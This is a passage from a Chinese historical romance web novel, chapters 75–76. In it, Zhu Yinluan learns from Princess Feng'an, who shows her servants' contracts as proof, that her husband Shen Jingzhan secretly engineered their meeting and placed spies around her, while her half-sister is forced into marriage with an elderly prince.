先是卫家,然后到祝家,卫如琢被卫家舍弃,锒铛入狱生死未卜,现如今轮到长姐了,长姐虽然没有入狱,但也是被舍弃,她若是嫁了,便是生不如死。 事情发展成这样,真的是轮回报应吗? 她怎么觉得不是? 卫如琢和长姐,算是欺负她最狠的人,除却这两人,还有她曾经的婆母庞氏 说到庞氏,祝吟鸾倒是不得而知,她连忙问明芽对方如何了? 明芽支支吾吾,起初还不想说,祝吟鸾让她快些讲,可她居然说庞氏快死了。 “快死了?”祝吟鸾大惊失色。 “怎么会?”庞氏虽然有一些老毛病,但也不怎么碍事。 她最严重的是她的头疼病,多是因为过分.操劳导致的,自从她嫁到卫家以后,从庞氏的手里接过摇摇欲坠的卫家。 庞氏起初还会过问几句,后面见她管得差不都了,就彻底撒手不管。 不管这些事情以后,加上她时常帮着庞氏调理,揉捏,找药,庞氏的身子骨养得好了不少,现如今才过去不到一年吧?庞氏居然就要死了? 上次听到庞氏的消息,是卫家的老大人带着私生子回京,她中风瘫痪。 “是因为中风的缘故么?”祝吟鸾在明芽的催促下,端起补汤,一口口慢吞吞喝着。 “是,后来又因为卫如琢入狱,觉得没了指望,所以才一病不起,奴婢听出府采买的老妈妈们说,卫家现如今是卫家老大人带回来的女子掌家管事呢。” “那女子掌家管事?”庞氏的日子恐怕不好过了。 且不说那女子是什么心思,庞氏若是死了,那女子必然受益啊,她有儿子女儿,还有卫家老大人的宠爱傍身,庞氏一死,必然成为正室。 庞氏病了之后,或许那女子也没有让人费心去治吧。 庞氏就这么一个儿子,卫如琢被舍弃,庞氏就像是被人掐断了命脉。 祝吟鸾顿了一下,问卫清丝和卫明烟。 卫明烟对她还是不错的,她不希望她出事。 曾经她被卫家扫地出门,也曾想过去找卫明烟帮忙,但是卫明烟在养胎,不宜四处操劳,怕卫明烟动了胎气,便没有去劳动她。 离开卫家之后,两人就再也没有过往来了。 纵然如此,她依然还是感激卫明烟的,因为她在卫家特别难熬的那几年,她带给她不少欢声笑语,也曾在人前维护过她很多次。 “卫家出事,卫家两个姑娘的夫家也被查了呢。” “被查了?”祝吟鸾问什么时候的事情?她一点都不知情。 明芽晓得祝吟鸾跟卫明烟交好,让她放心,卫明烟倒是没什么事情,她的夫家底细干净,督查司的人没查出什么问题。 反倒是卫清丝那边出了问题,她的夫家被贬官了。 说是卫清丝那几年也跟着庞氏收了不少贿赂,所以判了一个结党营私,卫清丝现如今的日子可不好过了,她自顾不暇,也无法照拂庞氏了,卫明烟倒时常去卫家伺候。 若是没有卫明烟,只怕庞氏这口气吊不到现在。 祝吟鸾听罢,没有说话,她只在想着。 与她交好的卫明烟没事,与她交恶的卫清丝出了事情。 卫明烟居然成为了卫家唯一保全下来的人。 抛开一切来说,是不是有些许奇怪了? 是她的错觉吗?她真的出现了好多错觉。 与她有没有关系? 祝吟鸾品着碗里的甜汤,心里觉得细思极恐。 她的预感渐渐强烈起来。 “方种月呢?”祝吟鸾问。 “小姐您怎么想起来问她了?”明芽都意外。 方种月当初靠近她,对她释放善意,在庞氏面前透露沈家的消息故意说给她听,她背后的人至今都没有查出来。 因为根本就没有线索。 如今她得在沈家养胎,出门? 别说出门了,院子都不 怎么出得去。 若是接触了卫家的人,沈景湛肯定会过问的,他必然要吃味,又跟她说这说那。 不单是沈景湛,还有沈夫人和沈老太太都看着她。 “她如今还在沈家么?”祝吟鸾问。 “应当在吧,奴婢并不清楚。”明芽道没有再听到方种月的消息了。 “需要奴婢留心么?”不清楚祝吟鸾为何要问方种月,明芽却还是顾念她的留神主意。 祝吟鸾颔首,“你留意留意。”她压低声音,“但是不要被人知道,姣惠也不行。” 末了,祝吟鸾又补充她解释为何要这么做,“方种月之前在卫家也算是靠拢我这边的人,她当时在我罚跪的时候还给我递了膏药。” “最重要的是,她母亲不是在沈家做活么,也算是沈家的人了,你留神她的动向去看看吧。” “是。”明芽点头,让祝吟鸾赶快喝汤,已经要凉透了。 就在祝吟鸾喝汤的时候,明芽跟她说,这些时日盯着姣惠倒是没有什么发现。 一切都很正常。 祝吟鸾轻声点头。 可当明芽说到,沈景湛的下属随从会跟姣惠交托事情之时,祝吟鸾的眼睫微顿。 她看向明芽。 “但一直都是这样的啊,小姐。” 自从祝吟鸾嫁到沈家之后,她的小丫鬟和沈景湛那边伺候的人对接,负责递话的人就是姣惠。 “之前你怎么没有告诉我?”祝吟鸾蹙眉。 明芽不解,“小姐您也没有问啊?” “对了您不必过分担心,因为与姣惠对接的人是世子爷的下属,与世子爷没有往来的,除却上一次端茶。” 祝吟鸾没有说话,好一会她再问明芽,上一次姣惠端着茶水进入沈景湛的书房是什么时辰,她每日跟沈景湛的人递话,又都是什么时候? 姣惠说一半是沈景湛回来之后,而上一次端茶,夜色很晚了,基本上所有人都歇息了。 “小姐,是出什么事情了吗?” “没事”这件事情还不宜声张,“你继续盯着,对了你帮我去查查姣惠的身家,若是被她察觉,转而问起我为何要查,你便借口说是我想要给你和她挑选夫家。” “好。” 明芽也觉得若是祝吟鸾一直不放心姣惠,把她嫁出去不失为一个好的选择,毕竟姣惠的年岁差不离到了。 祝吟鸾只是笑笑,没有应声。 若是姣惠背后真的有人那的确不适合留在她的身边了。 只是她背后的人,会是沈景湛么? “” 祝沉檀没有想到,她的婚事居然尘埃落定得那么快。 前两日,她的亲生父亲和兄长还只是商榷的口气,转眼而已,郭王府的聘礼都送上门来了。 那日从书房跑了出去,她就被祝大人派过来的人给看管起来了。 想去找朱夫人为她做主都不能够,因为外面的人压根就不让她踏出房门半步,任凭她怎么哭闹都不理。 听到外面的嬉闹声,得知对方已经来下聘了,祝沉檀意识到她非嫁不可了。 心一狠,先砸摔桌椅板凳,闹出大动静,在外面守着的婆子往里面偷看的时候,她咬牙撞向红柱。 好在赌赢了,婆子大惊失色打开门,阻止了她。 祝沉檀以为这样就能够改变家里的主意,却没有想到她的父亲和兄长甚至没有来看她一眼。 第二日,她的母亲朱夫人来了。 祝沉檀见到朱夫人的那一瞬间仿佛见到了救星,扑到她的怀中哭得无比厉害,抱着朱夫人一直叫母亲,说终于见到了她。 “母亲您再不出现,就永远见不到女儿了。” 朱夫人也跟着哭,“我苦命的女儿啊。” 两人抱做一团哭了许久。 祝沉檀让朱夫人快带她出去,可她怎么都没有想到,朱夫人居然是来劝她的。 劝她嫁人,嫁给郭老王爷。 “母亲您疯了吗?”祝沉檀看着眼前的朱夫人觉得她无比陌生。 “您是不知道郭老王爷是怎样的人吗?您让我嫁给他,您是要逼我去死吗?”祝沉檀大叫。 “到底为什么?”祝沉檀问她是不是早就知道了祝大人和祝鸣生的打算,想要把她给嫁出去保全祝家。 朱夫人抱着她,声泪俱下,“我苦命的女儿啊,为娘对不起你,但这都是你的命啊。” “你父亲已经跟我说了,你必须要嫁,若是不嫁,咱们整个祝家都要完蛋了。” “女儿啊,你不要怨怪你父亲和母亲,就当是家里的人对不起你吧。”朱夫人安抚着她,让她不要哭。 “你放心,你先嫁过去,待你有了孩子,地位稳固了就不会遇到那么多事情了。” 朱夫人安抚着她,给她描绘着宏图的未来,说当王妃可比世子少夫人都要威风多了,还说什么她嫁过去就是当家主母,日后祝吟鸾见到她都要称呼王妃娘娘,给她行礼问安的。 祝沉檀越听越是恼火,一把推开朱夫人,“我不要!” “我不稀罕什么郭王妃!” “我不要嫁!”她红着眼睛瞪着朱夫人。 “母亲真是好狠的心,为了自己的荣华富贵,为了哥哥的前程仕途,就要牺牲女儿入虎狼窝,你有没有想过,我进去就是一个死。” “什么叫做我的命?!我不信命。” “我不嫁,死都不嫁。”郭老王爷她见过,又老又丑,一无是处,要不是站着宗亲的名头,谁尊他敬他? 郭王府的地位虽然胜过昭平侯府沈家,但论起权势,谁能够敌得过沈景湛啊? 凭什么祝吟鸾能够嫁给全京城最好的权臣公子,而她就只能给老王爷做续弦。 “不。”祝沉檀眼里噙满恨意。 “你眼下就算是拒绝也没有用了。”朱夫人颓废坐到一边,她告诉祝沉檀,不是她的父亲去求郭老王爷,而是对方在下朝之后朝他透露,说想要娶她。 “是郭老王爷瞧上了你,如今的祝家摇摇欲坠,母亲和父亲还有你哥哥是想要护着你的,但是我们护不住你。” 朱夫人也崩溃了,哭得脸色发白,“你是我身上掉下来的肉,我怎么不为你盘算?” 就算是她有私心,也是想要保全祝家,也要有权势和能力去保全啊,眼下事实就摆在这,根本就没有办法保全,她还能够怎么办? “你先忍忍,待你父亲和哥哥起势之后,说不定就能够救你回来了。” “父亲和哥哥根基不稳,如今我嫁过去,在郭老王爷的府上受了虐待,谁来替我出头?” 再也没有人能够保全她了。 她想了想家里的人,除却祝吟鸾之外,还有谁? 可是要求到祝吟鸾的面前吗? 不 外面的仆妇催促说时辰到了,祝大人叫朱夫人离开。 怕朱夫人心软,祝大人不允许朱夫人停留太长时间。 一见朱夫人要走了,祝沉檀连忙扑上去,“母亲,您若是还心疼女儿,您就去找祝吟鸾,让她帮帮女儿,我到底是她的长姐。” 朱夫人哭得泪眼朦胧,仆妇们进来将她给请走了。 祝沉檀都不知道她有没有听进去。 就因为她触柱寻死的事情,祝大人派了很多人在周围看管,就连里面都有人,现如今她是真的.插.着翅膀都难以飞走了。 “” 时日转瞬而逝,很快就到了沈蔻玉出门的时日。 祝吟鸾的身孕已经三个多月了。 依旧不显怀,完全看不出来。 沈家嫁女,嫁过去的夫家又是京城的世家大族,场面可谓壮观至极。 这约莫是祝吟鸾到了沈家以后,第一次跟在沈景湛的身边出席大场面。 无数双眼睛都凝聚在她的身上。 她跟在沈景湛身边感受到了无数的注视,堪比成亲的那一日了。 作为世子少夫人,免不了许多人上来与她套近乎。 虽然多数人沈夫人已经提前说过了,祝吟鸾都记得,但人实在太多了,她有一些还是分辨不清,幸而全程都有沈景湛跟在身侧陪同。 他总是温言细语跟她说这是哪家的大人,哪家的夫人,姓什么她又该称呼对方什么。 待客应酬期间,祝吟鸾也留意到不少的细节,前来客套攀交的沈景湛的那些同僚们,似乎对于沈景湛温言细语维护她的模样十分的惊叹。 即便是隐藏得很好,祝吟鸾依然是发觉了。 众人十分意外。 看来,沈景湛在面对别人与她的态度并不一样。 她不禁好奇,沈景湛在外是什么样的? 很凶吗?凶到什么程度? 眼下的她是不得而知了。 祝吟鸾身怀有孕,怕她累,沈景湛没一会就带着她去歇息了。 他作为沈蔻玉的兄长,还要去拦门。 祝吟鸾没到后院坐一会,沈夫人那边的婆子来喊,说是叫她去正厅的内堂陪着见人说话。 饶是过来的路上都知道有哪些人,真见的时候,祝吟鸾还是忍不住惊了一下,因为这些人都是京城权臣贵妇们。 对方的目光全瞧过来的时候,她心里紧张,面上维持着笑意,跟诸位夫人们见礼。 原本众位世家夫人都瞧不上祝吟鸾,见她第一眼不免带着轻蔑。 这会子见了她的言行举止,没想到竟如此得体,主要她是小门户出身还不露怯,见了人撑得起场面。 沈夫人很满意祝吟鸾,心想这些时日让人去教她学规矩,总没有出错。 “媳妇来这边坐。” 不管往日喜不喜欢,沈夫人在人前都给足了祝吟鸾面子,让她到身边坐,依次给她介绍人。 见沈夫人很抬脸,众人的态度也不敢轻慢,毕 竟在沈家的场子里,祝吟鸾可是世子少夫人,如果她一直有福气,那将来沈景湛承袭了侯爵,祝吟鸾就是侯夫人了。 更何况,她的肚子里还揣着一个孩子呢,不知是男是女,终归是沈家长房的血脉,只要孩子生下来了,那便是她的依仗了。 没一会,沈翕云过来了,她是名义上的祝吟鸾的母亲,有她添脸面,登时更没人敢轻视祝吟鸾。 祝吟鸾基本上没怎么说话,多是贵眷妇人们问什么,她就答什么。 并不主动挑起话茬。 没一会,沈翕云起身说要去看看沈老太太,几位贵眷妇人随行。 祝吟鸾在这边继续跟着沈夫人陪客说话。 人走了大半,没剩下多少。 沈夫人忽而再热情的给祝吟鸾介绍一位世家夫人,说也是沈家的旁支,只不过出了五服,但还是有往来,姓孟,官职不低。 说话间,祝吟鸾留意到孟夫人的后面带着一个姑娘,样貌身形都很出挑。 几句话过后,祝吟鸾知道了,是孟夫人的女儿,沈夫人叫她的名字孟云,让老妈妈挪了一个圆凳叫她坐,孟小姐绕到前面行礼问安之后,顺从坐到孟夫人旁边。 虽然再没有过多提到这孟小姐,但祝吟鸾不是傻子,孟云小姐的这一露脸,恐怕 她心里隐隐有数了,抿了抿唇。 “” 时辰快到了,那边接亲的人已经过来了,祝吟鸾得起身去送沈蔻玉,便过她的屋子去。 沈蔻玉的屋子里人多,祝吟鸾已经很小心了,还是不小心被喜茶的小丫鬟撞到了袖摆,没碰到人,但她的衣衫脏了。 幸而还有会子空,不宜惊动了,她带着明芽去就近的厢房处理。 茶渍晕染快,一时半会擦不干净。 祝吟鸾在厢房等着明芽回院子取外衫。 她就在厢房等。 没一会,传来推门声,正诧异明芽的速度怎么那么快。 触及眼前明媚张扬的面庞,祝吟鸾下意识竖起防备。 “少夫人,别来无恙啊。” 奉安公主这句话说得奇怪,祝吟鸾礼貌福身问安,“不知公主怎么在此,当真是巧合。” “不是巧合,我特意来找少夫人说话。”奉安靠近,看了看她,又瞧了瞧她不显怀的肚子,坐在祝吟鸾对面。 “公主的意思,我不太明白。”祝吟鸾觉得对方来者不善,她警惕看着。 “放心,我不会伤害少夫人,只是想跟少夫人聊聊。” 祝吟鸾尴尬笑,“不知公主要与我聊什么?” 奉安公主给祝吟鸾和她自己倒了一盏茶,边喝边道, “聊沈世子,不知道少夫人有没有兴趣?” 第75章 第75章他图谋她什么? 祝吟鸾听到这句话,瞳孔骤缩,她的手也下意识蜷起来。 奉安公主察觉她的反应,唇边带笑,继续品着茶水。 原以为祝吟鸾露了“马脚”,便会控制不住反问,奉安公主等了好一会,也没见她开口,当真是沉得住气了。 尤记得第一次碰面,在沈家花厅的亭子里,她用卫家的事情去套话,祝家女那会就相当沉得住气了。 不论她说了些什么,祝吟鸾基本都没有接腔,反而是笑笑不说话。 现如今也差不多。 祝吟鸾沉得住气,奉安公主此刻却没有多少时辰陪她在这里耗。 沈景湛身边的人不是吃素的,换个衣衫的功夫,若是拖久了,他一定会发觉。 看着他往日里对着祝家女形影不离的样子,找个空处真是太难,若非沈蔻玉结亲,只怕都难以见到祝吟鸾。 祝吟鸾不说话,奉安公主再问,“听闻少夫人和沈世子相识不过一二月的光景,甚至没碰过几次面便成了亲,少夫人真的了解过沈世子的为人吗?” 祝吟鸾动了动身子,隐藏至宽袖之下的手越发蜷握起来。 她神色隐藏得很好,直接问,“公主拐弯抹角,到底要跟我说什么?” “少夫人不愧是个爽快人。”奉安笑着放下茶盏。 “我只是想要告诉少夫人,沈世子不简单,他似乎瞒了少夫人不少事情呢,这其中还包括了少夫人娘家,前夫家的事情。” 祝家和卫家? 祝吟鸾咬唇,想到那些错觉,那些诡异的巧合,还有沈景湛话语之间的漏洞和隐瞒,刚好开口探话。 “你——” 外面传来了叩门的声音,打断了祝吟鸾。 奉安公主随之起身,她道今日不便说话了,“沈世子不希望我与少夫人靠近,若是旁人我不忌惮,偏生他是个我惹不起的人,所以不能不仔细些。” 就连奉安公主都直言惹不起沈景湛,祝吟鸾在心里默了默。 “少夫人若是对我说的话感兴趣,不如来寻我坐坐,这些时日,我还会待在沈家,奉安倒是很喜欢和少夫人亲近呢。” 言罢,她带着身边的小宫女施施然绕从另外一边离开了。 明芽抱着外衫和新披帛过来的时间,奉安公主和她的贴身宫娥早就没了身影。 “小姐,您在看什么?”她只见祝吟鸾盯着屏风的方向失神。 祝吟鸾深呼一口气,“没什么…” 她只是在想,奉安公主为什么要跟她说沈景湛的事情。 是因为喜爱沈景湛,要跟她“抢”人,挑拨离间她和沈景湛之间,让她对沈景湛产生隔阂吗? 可瞧着这位公主的做派,又不像是她想的那么一回事。 先前听说奉安公主心悦沈景湛,如今她瞧着,更像是针锋相对。 既然不是那么一回事,那又究竟是怎么一回事?奉安公主的目的是什么? 她和她互不相干,为什么要来跟她说沈景湛的事情?听着奉安公主的语气,她似乎知道不少事情,牵扯到了祝家和卫家 会是她想的那样吗?祝吟鸾脑中思绪循环往复,不一会又出现了沈景湛温润如玉,舒朗无害的面庞。 他晨起对着她嘘寒问暖,无微不至,不只是晨起,而是一直都这样,从她跟他认识到现在都是这样。 他温润,他柔和,他一点都不凶残,甚至连明芽和姣惠所说的所谓的清冷,祝吟鸾都没有体会到。 所以,即便是发觉了猫腻,旁人都说他不一样,她自己也有所察觉。 祝吟鸾还是难以相信,沈景湛会是另外一副样子,另外一副她难以想象的,甚至可以称得上可怕的模样。 祝吟鸾换衣衫的时候问明芽,奉安公主这些时日在沈家都做了些什么? 明芽摇头,猜测道,“左不过就是帮着玉小姐收拾嫁妆,宽慰玉小姐的心思吧?” “夫君呢?”出了厢房之后,祝吟鸾问。 “在前厅呢。”明芽让她不要着急,走慢些,还怀着身子。 沈蔻玉的闺房当中已经人满为患了。 旁边的小丫鬟报世子夫人到,众人纷纷让开一条宽敞的道路 祝吟鸾一眼便注意到了沈蔻玉旁边站着的奉安公主。 奉安公主往日里无比喜爱穿红衣,她不过多簪珠钗,凭借一身红衣便能够耀眼夺目,今日给沈蔻玉让场子,换了一身鹅黄裙衫。 两人的视线在 无形当中碰上,奉安公主笑着说,“许久不见少夫人了,可还安好?” 祝吟鸾谢过她的关怀,“一切都好。” “嫂嫂,我有几日不曾碰到你了。”沈蔻玉凤冠霞帔,明艳不可方物,她笑着跟祝吟鸾说话,但透过笑容,祝吟鸾轻而易举便窥见了她的苦涩。 她还是不想嫁,但又不得不嫁。 祝吟鸾站到她的身侧,夸她道,“小姑今日很漂亮。 沈蔻玉伸手摸了摸她的肚子,说已经过好几个月,她却不怎么显怀。 旁边的喜婆惯会说吉祥话,顺着两人的动作,便道沈蔻玉今儿摸了祝吟鸾的肚子,明儿定然也会有喜事,众人都笑着顺话祝贺。 今儿人多,沈蔻玉便是不喜,面子上的功夫也做得特别好,她娇羞应话。 没一会小丫鬟们跑进来,说该出门子了。 沈蔻玉拿过一旁的团扇,由旁边的喜婆搀扶着起身出门去拜别父母双亲。 祝吟鸾在后面,走得慢一些,她有身孕,旁边的人都不敢离她太近,以免发生碰撞和意外。 她的身子骨金贵,众人都小心在意。 不知不觉当中,祝吟鸾居然跟奉安公主并排走了。 奉安公主喜欢用香料,闻到身侧的香味,祝吟鸾便知道是她。 上次她跟奉安公主共事,一道帮着沈蔻玉整理嫁妆单子,她在写,奉安公主在侧念数名,她已经闻了许久。 奉安公主身上所用的香,都是名贵的香料,别说寻常人家,就是世家大族的小姐都未必有,所以她知道是她。 本以为这是奉安公主有话要说,所以才落后到她身侧并排行走,可是过了许久,祝吟鸾都没有听到奉安公主说些什么。 快要到正厅,奉安公主又落到她的后面,两人之间的距离拉开了不少。 “鸾儿。”沈景湛过她这边来。 他牵她的手,伸手抚了抚她的发梢,温声问她,“累不累?” 祝吟鸾还是很不习惯人前的亲密,虽然此刻众人都留神在新人身上,可注意沈景湛的人不在少数。 此刻,他对着她温声细语,有不少人在看了。 祝吟鸾清咳一声,微微抿唇,“不累。” “旁边有许多人伺候,我没累什么,夫君一会要送小妹出门快去”祝吟鸾催促他。 沈景湛笑了一下,他微微俯身,低头跟着她说话,“小妹的事情终归比我更重要些。” 祝吟鸾,“?” 她看沈景湛,男人如画的眉眼噙着笑意,一袭绛紫色衣袍,丰神俊朗,越发显得身高腿长。 喜宴之上不缺乏偷看他的姑娘,即便是沈景湛已然娶妻甚至生子,但还是有人虎视眈眈。 那些人看着他,而他的目光只凝聚在她的身上。 专注且偏爱。 这是她在祝家卫家从未有过,从未得到的,很美好的东西。 祝吟鸾心头一暖,喜悦隐隐缠绕在她的心尖。 正是因为如此,她才不会那么轻易相信沈景湛欺骗她。 但越来越多的猫腻也让她无比的恐慌,她不知道该不该去戳破这样从未得到的美好。 隐藏在温润美好之下的,又是什么呢? 人大抵都是喜欢沉浸在愉悦安宁的,所以她到今日都无法做出选择。 还在想,要去接触奉安公主吗? 倘若不去,便什么都不知道。 她是不是真的要蒙在鼓里一辈子? 祝吟鸾抿唇,看着看着沈景湛的眼眸,她率先挪开了视线。 真的很害怕在他的眼眸当中瞧见什么令她恐惧的深意。 但说起来这件事情,她实际也感受过几回。 犹记得她和沈景湛刚成亲的时候,即便是第二次成亲,整个人还是不可避免的慌张起来。 那时候沈景湛来接亲,他牵攥着她的手。 从他的动作之间,她不仅仅是感受到了温和,甚至还感受到了无尽的强势,不容许她退却。 包括好几次,他看着她,她都觉得他深不可测。 是啊,再往前追溯,有司衙门的邢大人目中无人,但沈景湛一露面,吓得满头大汗浑身打颤。 若只是忌惮沈景湛的世子和中书大人身份,那也不一定,京城权贵遍地,下位者见上位者,恭敬是一定的。 吓成邢大人那样,已经不仅仅是权势忌惮,说不定还有沈景湛的手腕。 沈景湛的手腕 她虽然只是个后宅妇人,朝廷有些事情却也可以打听一二。 “鸾儿若是累了,早点回去歇息,送亲一事有我。” “嗯。”祝吟鸾颔首,没有多说什么。 沈景湛蹭了蹭她的鼻尖,牵着她入座,这才上前面去。 沈景湛走后,旁边有贵女小声嘀咕,“这沈世子还真是疼惜他的夫人啊,祝家女真是好命。” “可不是吗,也不知道是不是祖上冒青烟了,一个小小的庶女,居然能够嫁给沈世子,成为他的正妻,将来还是侯夫人呢。” “什么祖上冒青烟,就是会攀高枝,勾男人罢了,如今她可不是祝家人了,祝家如今支离破碎,就要被定罪了,可是她呢?” “人家背后可是施家,成亲才多久啊,就有了孩子,只要生下来,不管男女地位都稳固了。” “嘘,低声些,别叫她听去了。” 见明芽往那边瞧了一眼,小声嘀咕的贵女们立马噤下声音来。 祝吟鸾听到了,但是只能当做没有听到。 明芽却替她不平,但这是沈家,眼下又是沈蔻玉的喜宴,祝吟鸾只能噎下这口气,对方是宾客,不管说什么,不能够将人给撵出去。 训话已经结束了,沈景湛作为兄长送沈蔻玉出门。 大部分人都出去了,祝吟鸾随之起身。 走到外厅,明芽拉住祝吟鸾,让她看不远处的廊下,竟然是席间嚼说她闲话的两名贵女被人给拦住了。 拦住贵女的人似乎是奉安公主身边的宫娥。 两名贵女道,“这是沈家的喜宴,公主就算是要耍横,也得看看是什么地界吧?” 奉安公主的宫娥道,“若是两位小姐不识抬举,那就不要怪公主给沈侯爷和侯夫人通通气,让他们评评理在沈家喜宴上议论世子少夫人,到底冒不冒犯沈家。” 两名贵女再也说不出话了,直接离开了沈家,绕过回廊,见到祝吟鸾,两人一脸衰样,即便是看不上祝吟鸾,却也不敢冒声,直接离开了。 宫娥走到这边来,见到祝吟鸾给她行礼问安,主动交代道,“这是我们公主给少夫人送的礼。” 哪有人是这样送礼的啊。 祝吟鸾思忖片刻,颔首道,“多谢。” 宫娥很快就离开了。 “小姐,这奉安公主是何意啊?”明芽不知所以。 祝吟鸾摇头,“不要告知任何人,以免起风波。” “是。”明芽点头。 祝吟鸾有身孕不必出门,就在沈家待客,但说是待客,却也不用劳累。 她即便是嫁入了沈家,成为世子少夫人,且身怀有孕,背后靠着施家,但真正的高门根本就瞧不上她,因此不会与之结交。 祝吟鸾虽然清闲,但心中却怎么都放不下,她还在想奉安公主的事情。 到底要不要去找她? 若是真的要去找,此刻一定是最好的时机。 因为府上人多眼杂,沈景湛不在,沈夫人又留意不上她。 更重要的是,姣惠。 姣惠如果真的背后有人,这会是避开她的最佳时机。 要去找吗? 祝吟鸾思来想去,想了想,心里一横,还是去了,她先是支开了一些小丫鬟回去,说要去庭院散散步。 她没有直接去奉安公主的院子,而是去沈蔻玉的院子,避免被府上的人知道。 就看看奉安公主会不会在那边了,如果奉安公主足够聪颖,她也清楚,在她的院子里不宜见面,沈蔻玉的院子是最好的见面之地,彼此都有借口。 奉安公主果然在这里。 她似乎很有预感她会来,桌上倒好了茶水和糕点。 明芽以为祝吟鸾是为着刚才的事情,去靠近奉安公主。 可祝吟鸾把她也给支开了。 饶是不解,明芽也还是去了。 祝吟鸾坐到奉安公主身侧,她没有说话,奉安公主抬手示意她喝茶吃糕点。 “沈世子疼惜少夫人,用功劳请求父皇让御膳房赏赐糕点,给少夫人带回来。” “这糕点,少夫人想必吃的次数比我还多吧。” 祝吟鸾没有说话,奉安公主拿起一块梅花点翠糕放到她的旁边,“京城大道。” 随后她又拿了一块芝麻糖糕,“万香斋。” 奉安公主说到京城大道的时候,祝吟鸾还没有反应过来,直到她说了一句万香斋,祝吟鸾看着眼前的芝麻糖糕。 想到万香斋说是不做了,却又买到的芝麻糖糕。 那个店铺小二说是分铺做的,可她那时候尝了一块,觉得味道好多了,简直可以和宫里做的相媲美,不仅仅是她那么觉得,就连明芽也认为不错。 京城大道,梅花点翠糕,是第一次碰到沈景湛,然后她她吃到的,沈景湛给的糕点。 “公主这是何意?”祝吟鸾攥紧手,心里的慌张加剧了,面上竭力压制着。 “少夫人冰雪聪明,怎么会不明白我的意思?” “难道我说话太委婉了吗?”奉安单手撑着脑袋。 祝吟鸾也不绕弯子了,“公主究竟是怎么知道这些事情的?” “沈世子做事滴水不漏,若非本宫是皇族,又能在御前说话,恐怕没人知道他做了些什么,少夫人定然一辈子蒙在鼓里了。” 祝吟鸾没有被她牵着鼻子走,“我想要知道公主告知我这些事情的目的到底为何?” “本宫和沈世子之间有过节是其一,至于其二嘛本宫热心快肠,不喜欢见男人掌控女子。” “蔻玉与我交好,她道少夫人为人不错,脾性温婉,沈家花厅初次见少夫人,本宫对你印象也好,就想帮帮你。” 祝吟鸾没有受她这些话语动摇,“公主的目的仅此而已吗?” 奉安公主看着她的脸,意外她的沉着冷静。 真不像是小门户出身的呐,若是投在别家,只怕也是厉害的人物。 “想给沈世子添些堵。”奉安公主摇晃着杯盏里面的茶水。 祝吟鸾沉默下来,“” 好一会她看着糕点问,“公主提到这些糕点,又提到大道铺面,是想告诉我什么?” “我想要告诉少夫人,你与沈世子的初遇并非偶然,而是他蓄意之下的图谋。” 图谋? 祝吟鸾攥紧了手,沈景湛图谋她什么? 她身上究竟有什么好图谋的? 她想不明白,便直接问了,“他图谋我些什么?” 奉安公主却没有直接回答,而是绕了话茬,“沈家的马车临出门之前都有特意查修,怎么可能会坏在大道上面呢?” “更何况,还不偏不倚堵了少夫人的路,你不觉得蹊跷?” 祝吟鸾没说话。 奉安公主又跟她提起戏班子的事情。 这件事情她居然也知道。 “那日沈世子跟父皇告假,本宫一时好奇,叫人去查了查,得知他在戏院,而少夫人也正巧出现在了戏院,这也是巧合吗?” 祝吟鸾沉默,当日在戏院,她并没有见到沈景湛,但那排戏的人不愿意加戏,她带着明芽要离开,那个班主却忽然就出来了,说有戏,说沈家老太太不看了。 前半月,她跟沈老太太说起这件事情,沈老太太匪夷所思的神情,祝吟鸾没有忘记。 居然不是巧合吗? “还有呢。”奉安公主放下茶盏,示意身边的人拿了个东西放在祝吟鸾面前。 她还有些犹豫,看着眼前的东西,像是身契。 这又是什么? 祝吟鸾心惊肉跳,一时之间居然不敢触碰不敢打开。 “我相信,这个东西对少夫人很有帮助。”奉安公主自顾自添着茶水。 祝吟鸾呼出一口气,攥紧的拳头缓缓松开,抬手打开了眼前的东西。 定睛看清上面的东西,她的瞳孔骤缩。 这居然是方种月的身契。 她不仅不是沈家的人,还不是京城人士。 上面明明白白写着她父母早亡,是北边来的流民。 “你、你怎么会有这个东西?”究竟是哪里来的? 祝吟鸾已经惊诧到失言了,不称公主,直言你。 当初方种月的身契可是她亲自收拢到卫家账房的,现如今这份又是怎么回事? “这是户部得到的。” 户部。 那就是真的了。 “本宫有个相好,在户部任职,他知道本宫与沈世子不睦,但凡沈家的事情都很留意,这便是他拿给本宫的。” 所以这份才是方种月真正的身契。 她拿到卫家的那份是造假的了。 能让户部做这样的事情,除却三省之上的大人,祝吟鸾想不到还有谁了。 是沈景湛。 方种月背后的人居然真的是沈景湛,所以这一切都可以说得通了。 “不仅仅是这个人,还有一人。” “谁?”在问出是谁的时候,她的心里已经有了答案。 姣惠。 “少夫人身边的一个贴身侍婢,她的武功可不低。” “你说的人是姣惠吗?”祝吟鸾不想绕弯子了,她要确切的答案。 “对,就是脸上有胎记的那个侍婢,她可是沈世子的死士。” “你怎么证明姣惠是他的死士?” 虽然她怀疑姣惠,但没有确凿的证据,祝吟鸾始终没有办法完全相信。 “看来那人到少夫人身边几年,少夫人对她无比信任了呢。”奉安公主拿起糕点品尝。 这时候,奉安公主身边的人又给祝吟鸾送上几份身契。 不是姣惠的身契,但是姣惠死去父亲的身契。 当初她卖身葬掉的父亲。 祝吟鸾抬手翻看着,这个人根本就不是姣惠的父亲,而是京城里面死掉的乞丐,也是外乡人,他还有妻儿,是来这边讨生计,却不防意外死在这里的。 “沈世子安顿了他的家人,那边早已封了口,就算是少夫人去查,也查不到什么。” “这名男子的正妻早已带着孩子改嫁,如今正在利州,拿到这些人的身契,可费了本宫不少力气。” 沈景湛的势力实在太大,她甚至求到了皇祖母那边。 祝吟鸾翻身契的动作越来越慢,神色隐约之间已然有些隐藏不住了。 奉安公主看着她备受震惊的反应,越发有心情品尝糕点。 祝家女知道了这些,明白沈景湛的真面目,她会怎么做?沈景湛又该如何自处? 当初她说过,最好不要让她知道他的弱点。 祝吟鸾缓了好一会,噎了一口沫,“卫家和祝家又是怎么一回事?” 第76章 第76章得知沈景湛并非表面温润无害…… 都到这个份上,居然还能够保持一定的冷静。 奉安公主越发欣赏起祝吟鸾。 她答非所问,“少夫人此言,是相信本宫了吗?” 她都把身契给摆了出来,面对如此铁证,祝吟鸾还能说什么? “如此看来,想必往日里少夫人也在沈世子身上察觉到一些异常了吧?” 否则也不可能就这么快相信了。 也是,这祝家女又不是傻子,从她的言行举止便能够看得出来,她警惕和机敏,否则也不会这么快就过来沈蔻玉的院子里寻她了。 “我想要知道祝家和卫家的事情。”祝吟鸾同样的答非所问。 奉安公主却笑了一下,“少夫人想知道,我却不怎么敢说了。” 祝吟鸾眼睫一动,只怕奉安公主不是不敢说,而是不想说,故意给她卖关子。 